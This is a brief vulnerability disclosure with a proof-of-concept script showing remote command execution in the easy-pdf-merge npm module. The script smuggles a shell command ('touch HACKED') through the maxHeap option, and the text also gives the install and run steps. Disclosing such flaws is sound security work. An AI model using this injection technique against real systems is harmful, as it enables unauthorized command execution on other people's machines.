The easy-pdf-merge
module is vulnerable against RCE
since user supplied inputs
are formatted inside a command which is executed without prior checks.
// poc.js
const merge = require('easy-pdf-merge');
merge(["test", "test1"], "test2", {maxHeap:"test; touch HACKED; #"}, function(err){
if(err) {
return console.log(err)
}
console.log('Success')
});
HACKED
npm i easy-pdf-merge # Install affected module
node poc.js # Run the PoC
HACKED
has been created